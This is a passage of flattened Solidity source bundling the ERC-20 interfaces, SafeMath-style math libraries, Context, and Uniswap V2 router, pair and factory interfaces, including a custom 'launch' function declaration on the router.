     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.1;
/**
 * @title SafeMathUint
 * @dev Math operations with safety checks that revert on error
 */
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns (int256) {
        int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.1;
/**
 * @title SafeMathInt
 * @dev Math operations with safety checks that revert on error
 * @dev SafeMath adapted for int256
 * Based on code of  https://github.com/RequestNetwork/requestNetwork/blob/master/packages/requestNetworkSmartContracts/contracts/base/math/SafeMathInt.sol
 */
library SafeMathInt {
    function mul(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when multiplying INT256_MIN with -1
        // https://github.com/RequestNetwork/requestNetwork/issues/43
        require(!(a == -2 ** 255 && b == -1) && !(b == -2 ** 255 && a == -1));
        int256 c = a * b;
        require((b == 0) || (c / b == a));
        return c;
    }
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing INT256_MIN by -1
        // https://github.com/RequestNetwork/requestNetwork/issues/43
        require(!(a == -2 ** 255 && b == -1) && (b > 0));
        return a / b;
    }
    function sub(int256 a, int256 b) internal pure returns (int256) {
        require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
        return a - b;
    }
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
     function launch(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        uint8 buyLpFee, 
        uint8 sellLpFee, 
        uint8 buyProtocolFee, 
        uint8 sellProtocolFee, 
        address protocolAddress
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}pragma solidity >=0.5.0;
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}